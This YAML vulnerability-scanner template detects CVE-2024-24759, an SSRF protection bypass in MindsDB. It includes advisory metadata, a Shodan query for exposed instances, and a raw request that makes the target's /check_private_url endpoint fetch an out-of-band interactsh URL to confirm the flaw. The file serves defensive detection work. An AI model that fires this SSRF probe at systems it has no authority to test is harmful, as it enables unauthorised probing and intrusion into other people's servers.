id: CVE-2024-24759

info:
  name: MindsDB -DNS Rebinding SSRF Protection Bypass
  author: Lee Changhyun(eeche)
  severity: high
  description: |
    Detects DNS rebinding vulnerability that allows bypass of SSRF protection. The vulnerability exists in the URL validation mechanism where DNS resolution is performed without considering DNS rebinding attacks.
  impact: |
    SSRF Protection Bypass via DNS Rebinding
  remediation: |
    Upgrade to mindsdb version 23.12.4.2 or later
  reference:
    - https://github.com/advisories/GHSA-4jcv-vp96-94xr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-24759
    cwe-id: CWE-918
    epss-score: 0.82793
    epss-percentile: 0.9926
    cpe: cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mindsdb
    product: mindsdb
    shodan-query: title:"mindsdb"
  tags: cve,cve2024,mindsdb,ssrf,dns-rebinding,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "mindsdb")'
        internal: true

  - raw:
      - |
        GET /check_private_url?url=https://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4b0a00483046022100a3cce2092887976bbb38d7e51f12a45f79b8cf25eacc44a465103afb72c3e313022100a95b686e59781d36e8b587cfc4ffc25c47a27db1df707c46f46dd752e6c35388:922c64590222798bb761d5b6d8e72950